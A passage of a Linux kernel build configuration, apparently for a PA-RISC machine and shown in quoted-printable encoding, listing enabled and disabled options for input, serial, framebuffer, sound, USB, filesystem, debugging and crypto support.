# CONFIG_INPUT_MOUSEDEV_PSAUX is not set
CONFIG_INPUT_MOUSEDEV_SCREEN_X=3D1600
CONFIG_INPUT_MOUSEDEV_SCREEN_Y=3D1200
# CONFIG_INPUT_JOYDEV is not set
# CONFIG_INPUT_EVDEV is not set
# CONFIG_INPUT_EVBUG is not set

#
# Input Device Drivers
#
CONFIG_INPUT_KEYBOARD=3Dy
# CONFIG_KEYBOARD_ATKBD is not set
# CONFIG_KEYBOARD_LKKBD is not set
# CONFIG_KEYBOARD_NEWTON is not set
# CONFIG_KEYBOARD_OPENCORES is not set
# CONFIG_KEYBOARD_STOWAWAY is not set
# CONFIG_KEYBOARD_SUNKBD is not set
# CONFIG_KEYBOARD_XTKBD is not set
CONFIG_INPUT_MOUSE=3Dy
# CONFIG_MOUSE_PS2 is not set
# CONFIG_MOUSE_SERIAL is not set
# CONFIG_MOUSE_APPLETOUCH is not set
# CONFIG_MOUSE_BCM5974 is not set
# CONFIG_MOUSE_VSXXXAA is not set
# CONFIG_INPUT_JOYSTICK is not set
# CONFIG_INPUT_TABLET is not set
# CONFIG_INPUT_TOUCHSCREEN is not set
# CONFIG_INPUT_MISC is not set

#
# Hardware I/O ports
#
CONFIG_SERIO=3Dm
CONFIG_SERIO_SERPORT=3Dm
# CONFIG_SERIO_PCIPS2 is not set
# CONFIG_SERIO_RAW is not set
# CONFIG_SERIO_ALTERA_PS2 is not set
# CONFIG_SERIO_PS2MULT is not set
# CONFIG_GAMEPORT is not set

#
# Character devices
#
CONFIG_VT=3Dy
CONFIG_CONSOLE_TRANSLATIONS=3Dy
CONFIG_VT_CONSOLE=3Dy
CONFIG_HW_CONSOLE=3Dy
# CONFIG_VT_HW_CONSOLE_BINDING is not set
CONFIG_UNIX98_PTYS=3Dy
# CONFIG_DEVPTS_MULTIPLE_INSTANCES is not set
CONFIG_LEGACY_PTYS=3Dy
CONFIG_LEGACY_PTY_COUNT=3D256
# CONFIG_SERIAL_NONSTANDARD is not set
# CONFIG_NOZOMI is not set
# CONFIG_N_GSM is not set
# CONFIG_TRACE_SINK is not set
# CONFIG_DEVKMEM is not set

#
# Serial drivers
#
CONFIG_SERIAL_8250=3Dy
CONFIG_SERIAL_8250_CONSOLE=3Dy
CONFIG_SERIAL_8250_PCI=3Dy
CONFIG_SERIAL_8250_NR_UARTS=3D13
CONFIG_SERIAL_8250_RUNTIME_UARTS=3D4
CONFIG_SERIAL_8250_EXTENDED=3Dy
CONFIG_SERIAL_8250_MANY_PORTS=3Dy
CONFIG_SERIAL_8250_SHARE_IRQ=3Dy
# CONFIG_SERIAL_8250_DETECT_IRQ is not set
# CONFIG_SERIAL_8250_RSA is not set

#
# Non-8250 serial port support
#
# CONFIG_SERIAL_MFD_HSU is not set
# CONFIG_PDC_CONSOLE is not set
CONFIG_SERIAL_CORE=3Dy
CONFIG_SERIAL_CORE_CONSOLE=3Dy
# CONFIG_SERIAL_JSM is not set
# CONFIG_SERIAL_TIMBERDALE is not set
# CONFIG_SERIAL_ALTERA_JTAGUART is not set
# CONFIG_SERIAL_ALTERA_UART is not set
# CONFIG_SERIAL_PCH_UART is not set
# CONFIG_SERIAL_XILINX_PS_UART is not set
# CONFIG_IPMI_HANDLER is not set
# CONFIG_HW_RANDOM is not set
# CONFIG_R3964 is not set
# CONFIG_APPLICOM is not set
CONFIG_RAW_DRIVER=3Dy
CONFIG_MAX_RAW_DEVS=3D256
# CONFIG_TCG_TPM is not set
CONFIG_DEVPORT=3Dy
# CONFIG_RAMOOPS is not set
# CONFIG_I2C is not set
# CONFIG_SPI is not set

#
# PPS support
#
# CONFIG_PPS is not set

#
# PPS generators support
#

#
# PTP clock support
#

#
# Enable Device Drivers -> PPS to see the PTP clock options.
#
# CONFIG_W1 is not set
# CONFIG_POWER_SUPPLY is not set
# CONFIG_HWMON is not set
# CONFIG_THERMAL is not set
# CONFIG_WATCHDOG is not set
CONFIG_SSB_POSSIBLE=3Dy

#
# Sonics Silicon Backplane
#
# CONFIG_SSB is not set
CONFIG_BCMA_POSSIBLE=3Dy

#
# Broadcom specific AMBA
#
# CONFIG_BCMA is not set

#
# Multifunction device drivers
#
# CONFIG_MFD_CORE is not set
# CONFIG_MFD_SM501 is not set
# CONFIG_HTC_PASIC3 is not set
# CONFIG_MFD_TMIO is not set
# CONFIG_ABX500_CORE is not set
# CONFIG_LPC_SCH is not set
# CONFIG_MFD_RDC321X is not set
# CONFIG_MFD_JANZ_CMODIO is not set
# CONFIG_MFD_VX855 is not set
# CONFIG_REGULATOR is not set
# CONFIG_MEDIA_SUPPORT is not set

#
# Graphics support
#
# CONFIG_AGP is not set
CONFIG_VGA_ARB=3Dy
CONFIG_VGA_ARB_MAX_GPUS=3D1
# CONFIG_DRM is not set
# CONFIG_STUB_POULSBO is not set
# CONFIG_VGASTATE is not set
CONFIG_VIDEO_OUTPUT_CONTROL=3Dm
CONFIG_FB=3Dy
# CONFIG_FIRMWARE_EDID is not set
# CONFIG_FB_DDC is not set
# CONFIG_FB_BOOT_VESA_SUPPORT is not set
CONFIG_FB_CFB_FILLRECT=3Dy
CONFIG_FB_CFB_COPYAREA=3Dy
CONFIG_FB_CFB_IMAGEBLIT=3Dy
# CONFIG_FB_CFB_REV_PIXELS_IN_BYTE is not set
# CONFIG_FB_SYS_FILLRECT is not set
# CONFIG_FB_SYS_COPYAREA is not set
# CONFIG_FB_SYS_IMAGEBLIT is not set
# CONFIG_FB_FOREIGN_ENDIAN is not set
# CONFIG_FB_SYS_FOPS is not set
# CONFIG_FB_WMT_GE_ROPS is not set
# CONFIG_FB_SVGALIB is not set
# CONFIG_FB_MACMODES is not set
# CONFIG_FB_BACKLIGHT is not set
# CONFIG_FB_MODE_HELPERS is not set
# CONFIG_FB_TILEBLITTING is not set

#
# Frame buffer hardware drivers
#
# CONFIG_FB_CIRRUS is not set
# CONFIG_FB_PM2 is not set
# CONFIG_FB_CYBER2000 is not set
# CONFIG_FB_ASILIANT is not set
# CONFIG_FB_IMSTT is not set
CONFIG_FB_STI=3Dy
# CONFIG_FB_S1D13XXX is not set
# CONFIG_FB_NVIDIA is not set
# CONFIG_FB_RIVA is not set
# CONFIG_FB_MATROX is not set
# CONFIG_FB_RADEON is not set
# CONFIG_FB_ATY128 is not set
# CONFIG_FB_ATY is not set
# CONFIG_FB_S3 is not set
# CONFIG_FB_SAVAGE is not set
# CONFIG_FB_SIS is not set
# CONFIG_FB_NEOMAGIC is not set
# CONFIG_FB_KYRO is not set
# CONFIG_FB_3DFX is not set
# CONFIG_FB_VOODOO1 is not set
# CONFIG_FB_VT8623 is not set
# CONFIG_FB_TRIDENT is not set
# CONFIG_FB_ARK is not set
# CONFIG_FB_PM3 is not set
# CONFIG_FB_CARMINE is not set
# CONFIG_FB_SMSCUFX is not set
# CONFIG_FB_UDL is not set
# CONFIG_FB_VIRTUAL is not set
# CONFIG_FB_METRONOME is not set
# CONFIG_FB_MB862XX is not set
# CONFIG_FB_BROADSHEET is not set
# CONFIG_BACKLIGHT_LCD_SUPPORT is not set

#
# Console display driver support
#
CONFIG_DUMMY_CONSOLE=3Dy
CONFIG_DUMMY_CONSOLE_COLUMNS=3D160
CONFIG_DUMMY_CONSOLE_ROWS=3D64
CONFIG_FRAMEBUFFER_CONSOLE=3Dy
# CONFIG_FRAMEBUFFER_CONSOLE_DETECT_PRIMARY is not set
# CONFIG_FRAMEBUFFER_CONSOLE_ROTATION is not set
CONFIG_STI_CONSOLE=3Dy
# CONFIG_FONTS is not set
CONFIG_FONT_8x8=3Dy
CONFIG_FONT_8x16=3Dy
CONFIG_LOGO=3Dy
# CONFIG_LOGO_LINUX_MONO is not set
# CONFIG_LOGO_LINUX_VGA16 is not set
# CONFIG_LOGO_LINUX_CLUT224 is not set
CONFIG_LOGO_PARISC_CLUT224=3Dy
CONFIG_SOUND=3Dy
CONFIG_SOUND_OSS_CORE=3Dy
# CONFIG_SOUND_OSS_CORE_PRECLAIM is not set
CONFIG_SND=3Dy
CONFIG_SND_TIMER=3Dy
CONFIG_SND_PCM=3Dy
CONFIG_SND_SEQUENCER=3Dy
# CONFIG_SND_SEQ_DUMMY is not set
CONFIG_SND_OSSEMUL=3Dy
CONFIG_SND_MIXER_OSS=3Dy
CONFIG_SND_PCM_OSS=3Dy
CONFIG_SND_PCM_OSS_PLUGINS=3Dy
CONFIG_SND_SEQUENCER_OSS=3Dy
# CONFIG_SND_DYNAMIC_MINORS is not set
CONFIG_SND_SUPPORT_OLD_API=3Dy
CONFIG_SND_VERBOSE_PROCFS=3Dy
# CONFIG_SND_VERBOSE_PRINTK is not set
# CONFIG_SND_DEBUG is not set
CONFIG_SND_VMASTER=3Dy
# CONFIG_SND_RAWMIDI_SEQ is not set
# CONFIG_SND_OPL3_LIB_SEQ is not set
# CONFIG_SND_OPL4_LIB_SEQ is not set
# CONFIG_SND_SBAWE_SEQ is not set
# CONFIG_SND_EMU10K1_SEQ is not set
CONFIG_SND_AC97_CODEC=3Dy
CONFIG_SND_DRIVERS=3Dy
# CONFIG_SND_DUMMY is not set
# CONFIG_SND_ALOOP is not set
# CONFIG_SND_VIRMIDI is not set
# CONFIG_SND_MTPAV is not set
# CONFIG_SND_SERIAL_U16550 is not set
# CONFIG_SND_MPU401 is not set
# CONFIG_SND_AC97_POWER_SAVE is not set
CONFIG_SND_PCI=3Dy
CONFIG_SND_AD1889=3Dy
# CONFIG_SND_ALS300 is not set
# CONFIG_SND_ALI5451 is not set
# CONFIG_SND_ATIIXP is not set
# CONFIG_SND_ATIIXP_MODEM is not set
# CONFIG_SND_AU8810 is not set
# CONFIG_SND_AU8820 is not set
# CONFIG_SND_AU8830 is not set
# CONFIG_SND_AW2 is not set
# CONFIG_SND_AZT3328 is not set
# CONFIG_SND_BT87X is not set
# CONFIG_SND_CA0106 is not set
# CONFIG_SND_CMIPCI is not set
# CONFIG_SND_OXYGEN is not set
# CONFIG_SND_CS4281 is not set
# CONFIG_SND_CS46XX is not set
# CONFIG_SND_CS5535AUDIO is not set
# CONFIG_SND_CTXFI is not set
# CONFIG_SND_DARLA20 is not set
# CONFIG_SND_GINA20 is not set
# CONFIG_SND_LAYLA20 is not set
# CONFIG_SND_DARLA24 is not set
# CONFIG_SND_GINA24 is not set
# CONFIG_SND_LAYLA24 is not set
# CONFIG_SND_MONA is not set
# CONFIG_SND_MIA is not set
# CONFIG_SND_ECHO3G is not set
# CONFIG_SND_INDIGO is not set
# CONFIG_SND_INDIGOIO is not set
# CONFIG_SND_INDIGODJ is not set
# CONFIG_SND_INDIGOIOX is not set
# CONFIG_SND_INDIGODJX is not set
# CONFIG_SND_EMU10K1 is not set
# CONFIG_SND_EMU10K1X is not set
# CONFIG_SND_ENS1370 is not set
# CONFIG_SND_ENS1371 is not set
# CONFIG_SND_ES1938 is not set
# CONFIG_SND_ES1968 is not set
# CONFIG_SND_FM801 is not set
# CONFIG_SND_HDA_INTEL is not set
# CONFIG_SND_HDSP is not set
# CONFIG_SND_HDSPM is not set
# CONFIG_SND_ICE1712 is not set
# CONFIG_SND_ICE1724 is not set
# CONFIG_SND_INTEL8X0 is not set
# CONFIG_SND_INTEL8X0M is not set
# CONFIG_SND_KORG1212 is not set
# CONFIG_SND_LOLA is not set
# CONFIG_SND_LX6464ES is not set
# CONFIG_SND_MAESTRO3 is not set
# CONFIG_SND_MIXART is not set
# CONFIG_SND_NM256 is not set
# CONFIG_SND_PCXHR is not set
# CONFIG_SND_RIPTIDE is not set
# CONFIG_SND_RME32 is not set
# CONFIG_SND_RME96 is not set
# CONFIG_SND_RME9652 is not set
# CONFIG_SND_SONICVIBES is not set
# CONFIG_SND_TRIDENT is not set
# CONFIG_SND_VIA82XX is not set
# CONFIG_SND_VIA82XX_MODEM is not set
# CONFIG_SND_VIRTUOSO is not set
# CONFIG_SND_VX222 is not set
# CONFIG_SND_YMFPCI is not set
# CONFIG_SND_USB is not set
# CONFIG_SND_SOC is not set
# CONFIG_SOUND_PRIME is not set
CONFIG_AC97_BUS=3Dy
CONFIG_HID_SUPPORT=3Dy
CONFIG_HID=3Dy
# CONFIG_HIDRAW is not set

#
# USB Input Devices
#
CONFIG_USB_HID=3Dy
# CONFIG_HID_PID is not set
CONFIG_USB_HIDDEV=3Dy

#
# Special HID drivers
#
CONFIG_HID_A4TECH=3Dy
# CONFIG_HID_ACRUX is not set
CONFIG_HID_APPLE=3Dy
CONFIG_HID_BELKIN=3Dy
CONFIG_HID_CHERRY=3Dy
CONFIG_HID_CHICONY=3Dy
# CONFIG_HID_PRODIKEYS is not set
CONFIG_HID_CYPRESS=3Dy
# CONFIG_HID_DRAGONRISE is not set
# CONFIG_HID_EMS_FF is not set
CONFIG_HID_EZKEY=3Dy
# CONFIG_HID_HOLTEK is not set
# CONFIG_HID_KEYTOUCH is not set
CONFIG_HID_KYE=3Dy
# CONFIG_HID_UCLOGIC is not set
# CONFIG_HID_WALTOP is not set
# CONFIG_HID_GYRATION is not set
# CONFIG_HID_TWINHAN is not set
CONFIG_HID_KENSINGTON=3Dy
# CONFIG_HID_LCPOWER is not set
CONFIG_HID_LOGITECH=3Dy
# CONFIG_HID_LOGITECH_DJ is not set
# CONFIG_LOGITECH_FF is not set
# CONFIG_LOGIRUMBLEPAD2_FF is not set
# CONFIG_LOGIG940_FF is not set
# CONFIG_LOGIWHEELS_FF is not set
CONFIG_HID_MICROSOFT=3Dy
CONFIG_HID_MONTEREY=3Dy
# CONFIG_HID_MULTITOUCH is not set
# CONFIG_HID_NTRIG is not set
# CONFIG_HID_ORTEK is not set
# CONFIG_HID_PANTHERLORD is not set
# CONFIG_HID_PETALYNX is not set
# CONFIG_HID_PICOLCD is not set
# CONFIG_HID_PRIMAX is not set
# CONFIG_HID_ROCCAT is not set
# CONFIG_HID_SAMSUNG is not set
# CONFIG_HID_SONY is not set
# CONFIG_HID_SPEEDLINK is not set
# CONFIG_HID_SUNPLUS is not set
# CONFIG_HID_GREENASIA is not set
# CONFIG_HID_SMARTJOYPLUS is not set
# CONFIG_HID_TOPSEED is not set
# CONFIG_HID_THRUSTMASTER is not set
# CONFIG_HID_ZEROPLUS is not set
# CONFIG_HID_ZYDACRON is not set
CONFIG_USB_SUPPORT=3Dy
CONFIG_USB_COMMON=3Dy
CONFIG_USB_ARCH_HAS_HCD=3Dy
CONFIG_USB_ARCH_HAS_OHCI=3Dy
CONFIG_USB_ARCH_HAS_EHCI=3Dy
CONFIG_USB_ARCH_HAS_XHCI=3Dy
CONFIG_USB=3Dy
CONFIG_USB_DEBUG=3Dy
# CONFIG_USB_ANNOUNCE_NEW_DEVICES is not set

#
# Miscellaneous USB options
#
CONFIG_USB_DEVICEFS=3Dy
CONFIG_USB_DEVICE_CLASS=3Dy
# CONFIG_USB_DYNAMIC_MINORS is not set
# CONFIG_USB_MON is not set
# CONFIG_USB_WUSB_CBAF is not set

#
# USB Host Controller Drivers
#
# CONFIG_USB_C67X00_HCD is not set
# CONFIG_USB_XHCI_HCD is not set
# CONFIG_USB_EHCI_HCD is not set
# CONFIG_USB_OXU210HP_HCD is not set
# CONFIG_USB_ISP116X_HCD is not set
# CONFIG_USB_ISP1760_HCD is not set
# CONFIG_USB_ISP1362_HCD is not set
CONFIG_USB_OHCI_HCD=3Dy
# CONFIG_USB_OHCI_BIG_ENDIAN_DESC is not set
# CONFIG_USB_OHCI_BIG_ENDIAN_MMIO is not set
CONFIG_USB_OHCI_LITTLE_ENDIAN=3Dy
# CONFIG_USB_UHCI_HCD is not set
# CONFIG_USB_SL811_HCD is not set
# CONFIG_USB_R8A66597_HCD is not set

#
# USB Device Class drivers
#
# CONFIG_USB_ACM is not set
# CONFIG_USB_PRINTER is not set
# CONFIG_USB_WDM is not set
# CONFIG_USB_TMC is not set

#
# NOTE: USB_STORAGE depends on SCSI but BLK_DEV_SD may
#

#
# also be needed; see USB_STORAGE Help for more info
#
CONFIG_USB_STORAGE=3Dm
# CONFIG_USB_STORAGE_DEBUG is not set
# CONFIG_USB_STORAGE_REALTEK is not set
# CONFIG_USB_STORAGE_DATAFAB is not set
# CONFIG_USB_STORAGE_FREECOM is not set
# CONFIG_USB_STORAGE_ISD200 is not set
CONFIG_USB_STORAGE_USBAT=3Dm
CONFIG_USB_STORAGE_SDDR09=3Dm
CONFIG_USB_STORAGE_SDDR55=3Dm
CONFIG_USB_STORAGE_JUMPSHOT=3Dm
# CONFIG_USB_STORAGE_ALAUDA is not set
# CONFIG_USB_STORAGE_ONETOUCH is not set
# CONFIG_USB_STORAGE_KARMA is not set
# CONFIG_USB_STORAGE_CYPRESS_ATACB is not set
# CONFIG_USB_STORAGE_ENE_UB6250 is not set
# CONFIG_USB_UAS is not set
# CONFIG_USB_LIBUSUAL is not set

#
# USB Imaging devices
#
# CONFIG_USB_MDC800 is not set
# CONFIG_USB_MICROTEK is not set

#
# USB port drivers
#
# CONFIG_USB_SERIAL is not set

#
# USB Miscellaneous drivers
#
# CONFIG_USB_EMI62 is not set
# CONFIG_USB_EMI26 is not set
# CONFIG_USB_ADUTUX is not set
# CONFIG_USB_SEVSEG is not set
# CONFIG_USB_RIO500 is not set
# CONFIG_USB_LEGOTOWER is not set
# CONFIG_USB_LCD is not set
# CONFIG_USB_LED is not set
# CONFIG_USB_CYPRESS_CY7C63 is not set
# CONFIG_USB_CYTHERM is not set
# CONFIG_USB_IDMOUSE is not set
# CONFIG_USB_FTDI_ELAN is not set
# CONFIG_USB_APPLEDISPLAY is not set
# CONFIG_USB_LD is not set
# CONFIG_USB_TRANCEVIBRATOR is not set
# CONFIG_USB_IOWARRIOR is not set
# CONFIG_USB_TEST is not set
# CONFIG_USB_ISIGHTFW is not set
# CONFIG_USB_YUREX is not set
# CONFIG_USB_GADGET is not set

#
# OTG and related infrastructure
#
# CONFIG_NOP_USB_XCEIV is not set
# CONFIG_UWB is not set
# CONFIG_MMC is not set
# CONFIG_MEMSTICK is not set
# CONFIG_NEW_LEDS is not set
# CONFIG_ACCESSIBILITY is not set
# CONFIG_INFINIBAND is not set
CONFIG_RTC_LIB=3Dy
CONFIG_RTC_CLASS=3Dy
CONFIG_RTC_HCTOSYS=3Dy
CONFIG_RTC_HCTOSYS_DEVICE=3D"rtc0"
# CONFIG_RTC_DEBUG is not set

#
# RTC interfaces
#
CONFIG_RTC_INTF_SYSFS=3Dy
CONFIG_RTC_INTF_PROC=3Dy
CONFIG_RTC_INTF_DEV=3Dy
# CONFIG_RTC_INTF_DEV_UIE_EMUL is not set
# CONFIG_RTC_DRV_TEST is not set

#
# SPI RTC drivers
#

#
# Platform RTC drivers
#
# CONFIG_RTC_DRV_DS1286 is not set
# CONFIG_RTC_DRV_DS1511 is not set
# CONFIG_RTC_DRV_DS1553 is not set
# CONFIG_RTC_DRV_DS1742 is not set
# CONFIG_RTC_DRV_STK17TA8 is not set
# CONFIG_RTC_DRV_M48T86 is not set
# CONFIG_RTC_DRV_M48T35 is not set
# CONFIG_RTC_DRV_M48T59 is not set
# CONFIG_RTC_DRV_MSM6242 is not set
# CONFIG_RTC_DRV_BQ4802 is not set
# CONFIG_RTC_DRV_RP5C01 is not set
# CONFIG_RTC_DRV_V3020 is not set

#
# on-CPU RTC drivers
#
CONFIG_RTC_DRV_GENERIC=3Dy
# CONFIG_DMADEVICES is not set
# CONFIG_AUXDISPLAY is not set
# CONFIG_UIO is not set

#
# Virtio drivers
#
# CONFIG_VIRTIO_PCI is not set
# CONFIG_VIRTIO_BALLOON is not set
# CONFIG_VIRTIO_MMIO is not set

#
# Microsoft Hyper-V guest support
#
# CONFIG_STAGING is not set

#
# Hardware Spinlock drivers
#
# CONFIG_IOMMU_SUPPORT is not set
# CONFIG_VIRT_DRIVERS is not set
# CONFIG_PM_DEVFREQ is not set

#
# File systems
#
CONFIG_EXT2_FS=3Dy
# CONFIG_EXT2_FS_XATTR is not set
# CONFIG_EXT2_FS_XIP is not set
CONFIG_EXT3_FS=3Dy
# CONFIG_EXT3_DEFAULTS_TO_ORDERED is not set
# CONFIG_EXT3_FS_XATTR is not set
CONFIG_EXT4_FS=3Dm
CONFIG_EXT4_FS_XATTR=3Dy
CONFIG_EXT4_FS_POSIX_ACL=3Dy
# CONFIG_EXT4_FS_SECURITY is not set
# CONFIG_EXT4_DEBUG is not set
CONFIG_JBD=3Dy
CONFIG_JBD2=3Dm
CONFIG_FS_MBCACHE=3Dm
# CONFIG_REISERFS_FS is not set
# CONFIG_JFS_FS is not set
CONFIG_XFS_FS=3Dy
# CONFIG_XFS_QUOTA is not set
# CONFIG_XFS_POSIX_ACL is not set
# CONFIG_XFS_RT is not set
# CONFIG_XFS_DEBUG is not set
# CONFIG_GFS2_FS is not set
# CONFIG_BTRFS_FS is not set
# CONFIG_NILFS2_FS is not set
CONFIG_FS_POSIX_ACL=3Dy
CONFIG_EXPORTFS=3Dy
CONFIG_FILE_LOCKING=3Dy
CONFIG_FSNOTIFY=3Dy
CONFIG_DNOTIFY=3Dy
CONFIG_INOTIFY_USER=3Dy
# CONFIG_FANOTIFY is not set
# CONFIG_QUOTA is not set
# CONFIG_QUOTACTL is not set
# CONFIG_AUTOFS4_FS is not set
# CONFIG_FUSE_FS is not set

#
# Caches
#
# CONFIG_FSCACHE is not set

#
# CD-ROM/DVD Filesystems
#
CONFIG_ISO9660_FS=3Dy
CONFIG_JOLIET=3Dy
CONFIG_ZISOFS=3Dy
# CONFIG_UDF_FS is not set

#
# DOS/FAT/NT Filesystems
#
CONFIG_FAT_FS=3Dm
# CONFIG_MSDOS_FS is not set
CONFIG_VFAT_FS=3Dm
CONFIG_FAT_DEFAULT_CODEPAGE=3D437
CONFIG_FAT_DEFAULT_IOCHARSET=3D"iso8859-1"
# CONFIG_NTFS_FS is not set

#
# Pseudo filesystems
#
CONFIG_PROC_FS=3Dy
CONFIG_PROC_KCORE=3Dy
CONFIG_PROC_SYSCTL=3Dy
CONFIG_PROC_PAGE_MONITOR=3Dy
CONFIG_SYSFS=3Dy
CONFIG_TMPFS=3Dy
# CONFIG_TMPFS_POSIX_ACL is not set
# CONFIG_TMPFS_XATTR is not set
# CONFIG_HUGETLB_PAGE is not set
# CONFIG_CONFIGFS_FS is not set
CONFIG_MISC_FILESYSTEMS=3Dy
# CONFIG_ADFS_FS is not set
# CONFIG_AFFS_FS is not set
# CONFIG_HFS_FS is not set
# CONFIG_HFSPLUS_FS is not set
# CONFIG_BEFS_FS is not set
# CONFIG_BFS_FS is not set
# CONFIG_EFS_FS is not set
# CONFIG_LOGFS is not set
# CONFIG_CRAMFS is not set
# CONFIG_SQUASHFS is not set
# CONFIG_VXFS_FS is not set
# CONFIG_MINIX_FS is not set
# CONFIG_OMFS_FS is not set
# CONFIG_HPFS_FS is not set
# CONFIG_QNX4FS_FS is not set
# CONFIG_ROMFS_FS is not set
# CONFIG_PSTORE is not set
# CONFIG_SYSV_FS is not set
# CONFIG_UFS_FS is not set
CONFIG_NETWORK_FILESYSTEMS=3Dy
CONFIG_NFS_FS=3Dy
CONFIG_NFS_V3=3Dy
# CONFIG_NFS_V3_ACL is not set
# CONFIG_NFS_V4 is not set
# CONFIG_ROOT_NFS is not set
CONFIG_NFSD=3Dy
CONFIG_NFSD_V3=3Dy
# CONFIG_NFSD_V3_ACL is not set
# CONFIG_NFSD_V4 is not set
CONFIG_LOCKD=3Dy
CONFIG_LOCKD_V4=3Dy
CONFIG_NFS_COMMON=3Dy
CONFIG_SUNRPC=3Dy
# CONFIG_CEPH_FS is not set
# CONFIG_CIFS is not set
# CONFIG_NCP_FS is not set
# CONFIG_CODA_FS is not set
# CONFIG_AFS_FS is not set
CONFIG_NLS=3Dy
CONFIG_NLS_DEFAULT=3D"iso8859-1"
CONFIG_NLS_CODEPAGE_437=3Dm
# CONFIG_NLS_CODEPAGE_737 is not set
# CONFIG_NLS_CODEPAGE_775 is not set
CONFIG_NLS_CODEPAGE_850=3Dm
# CONFIG_NLS_CODEPAGE_852 is not set
# CONFIG_NLS_CODEPAGE_855 is not set
# CONFIG_NLS_CODEPAGE_857 is not set
# CONFIG_NLS_CODEPAGE_860 is not set
# CONFIG_NLS_CODEPAGE_861 is not set
# CONFIG_NLS_CODEPAGE_862 is not set
# CONFIG_NLS_CODEPAGE_863 is not set
# CONFIG_NLS_CODEPAGE_864 is not set
# CONFIG_NLS_CODEPAGE_865 is not set
# CONFIG_NLS_CODEPAGE_866 is not set
# CONFIG_NLS_CODEPAGE_869 is not set
# CONFIG_NLS_CODEPAGE_936 is not set
# CONFIG_NLS_CODEPAGE_950 is not set
# CONFIG_NLS_CODEPAGE_932 is not set
# CONFIG_NLS_CODEPAGE_949 is not set
# CONFIG_NLS_CODEPAGE_874 is not set
# CONFIG_NLS_ISO8859_8 is not set
# CONFIG_NLS_CODEPAGE_1250 is not set
# CONFIG_NLS_CODEPAGE_1251 is not set
CONFIG_NLS_ASCII=3Dm
CONFIG_NLS_ISO8859_1=3Dm
# CONFIG_NLS_ISO8859_2 is not set
# CONFIG_NLS_ISO8859_3 is not set
# CONFIG_NLS_ISO8859_4 is not set
# CONFIG_NLS_ISO8859_5 is not set
# CONFIG_NLS_ISO8859_6 is not set
# CONFIG_NLS_ISO8859_7 is not set
# CONFIG_NLS_ISO8859_9 is not set
# CONFIG_NLS_ISO8859_13 is not set
# CONFIG_NLS_ISO8859_14 is not set
CONFIG_NLS_ISO8859_15=3Dm
# CONFIG_NLS_KOI8_R is not set
# CONFIG_NLS_KOI8_U is not set
CONFIG_NLS_UTF8=3Dm

#
# Kernel hacking
#
# CONFIG_PRINTK_TIME is not set
CONFIG_DEFAULT_MESSAGE_LOGLEVEL=3D4
CONFIG_ENABLE_WARN_DEPRECATED=3Dy
CONFIG_ENABLE_MUST_CHECK=3Dy
CONFIG_FRAME_WARN=3D1024
CONFIG_MAGIC_SYSRQ=3Dy
CONFIG_STRIP_ASM_SYMS=3Dy
# CONFIG_UNUSED_SYMBOLS is not set
# CONFIG_DEBUG_FS is not set
CONFIG_HEADERS_CHECK=3Dy
# CONFIG_DEBUG_SECTION_MISMATCH is not set
CONFIG_DEBUG_KERNEL=3Dy
# CONFIG_DEBUG_SHIRQ is not set
# CONFIG_LOCKUP_DETECTOR is not set
# CONFIG_HARDLOCKUP_DETECTOR is not set
CONFIG_DETECT_HUNG_TASK=3Dy
CONFIG_DEFAULT_HUNG_TASK_TIMEOUT=3D120
# CONFIG_BOOTPARAM_HUNG_TASK_PANIC is not set
CONFIG_BOOTPARAM_HUNG_TASK_PANIC_VALUE=3D0
CONFIG_SCHED_DEBUG=3Dy
# CONFIG_SCHEDSTATS is not set
# CONFIG_TIMER_STATS is not set
# CONFIG_DEBUG_OBJECTS is not set
# CONFIG_SLUB_DEBUG_ON is not set
# CONFIG_SLUB_STATS is not set
# CONFIG_DEBUG_RT_MUTEXES is not set
# CONFIG_RT_MUTEX_TESTER is not set
# CONFIG_DEBUG_SPINLOCK is not set
CONFIG_DEBUG_MUTEXES=3Dy
# CONFIG_SPARSE_RCU_POINTER is not set
# CONFIG_DEBUG_ATOMIC_SLEEP is not set
# CONFIG_DEBUG_LOCKING_API_SELFTESTS is not set
# CONFIG_DEBUG_STACK_USAGE is not set
# CONFIG_DEBUG_KOBJECT is not set
CONFIG_DEBUG_BUGVERBOSE=3Dy
# CONFIG_DEBUG_INFO is not set
# CONFIG_DEBUG_VM is not set
# CONFIG_DEBUG_WRITECOUNT is not set
CONFIG_DEBUG_MEMORY_INIT=3Dy
# CONFIG_DEBUG_LIST is not set
# CONFIG_TEST_LIST_SORT is not set
# CONFIG_DEBUG_SG is not set
# CONFIG_DEBUG_NOTIFIERS is not set
# CONFIG_DEBUG_CREDENTIALS is not set
# CONFIG_BOOT_PRINTK_DELAY is not set
# CONFIG_RCU_TORTURE_TEST is not set
# CONFIG_BACKTRACE_SELF_TEST is not set
# CONFIG_DEBUG_BLOCK_EXT_DEVT is not set
# CONFIG_DEBUG_FORCE_WEAK_PER_CPU is not set
# CONFIG_FAULT_INJECTION is not set
# CONFIG_LATENCYTOP is not set
# CONFIG_SYSCTL_SYSCALL_CHECK is not set
# CONFIG_DEBUG_PAGEALLOC is not set
# CONFIG_BUILD_DOCSRC is not set
# CONFIG_ATOMIC64_SELFTEST is not set
# CONFIG_SAMPLES is not set
# CONFIG_TEST_KSTRTOX is not set
CONFIG_DEBUG_RODATA=3Dy
# CONFIG_DEBUG_STRICT_USER_COPY_CHECKS is not set

#
# Security options
#
# CONFIG_KEYS is not set
# CONFIG_SECURITY_DMESG_RESTRICT is not set
# CONFIG_SECURITY is not set
# CONFIG_SECURITYFS is not set
CONFIG_DEFAULT_SECURITY_DAC=3Dy
CONFIG_DEFAULT_SECURITY=3D""
CONFIG_CRYPTO=3Dy

#
# Crypto core or helper
#
CONFIG_CRYPTO_ALGAPI=3Dm
CONFIG_CRYPTO_ALGAPI2=3Dm
CONFIG_CRYPTO_AEAD2=3Dm
CONFIG_CRYPTO_BLKCIPHER=3Dm
CONFIG_CRYPTO_BLKCIPHER2=3Dm
CONFIG_CRYPTO_HASH=3Dm
CONFIG_CRYPTO_HASH2=3Dm
CONFIG_CRYPTO_RNG2=3Dm
CONFIG_CRYPTO_PCOMP2=3Dm
CONFIG_CRYPTO_MANAGER=3Dm
CONFIG_CRYPTO_MANAGER2=3Dm
# CONFIG_CRYPTO_USER is not set
CONFIG_CRYPTO_MANAGER_DISABLE_TESTS=3Dy
# CONFIG_CRYPTO_GF128MUL is not set
CONFIG_CRYPTO_NULL=3Dm
CONFIG_CRYPTO_WORKQUEUE=3Dm
# CONFIG_CRYPTO_CRYPTD is not set
# CONFIG_CRYPTO_AUTHENC is not set
CONFIG_CRYPTO_TEST=3Dm

#
# Authenticated Encryption with Associated Data
#
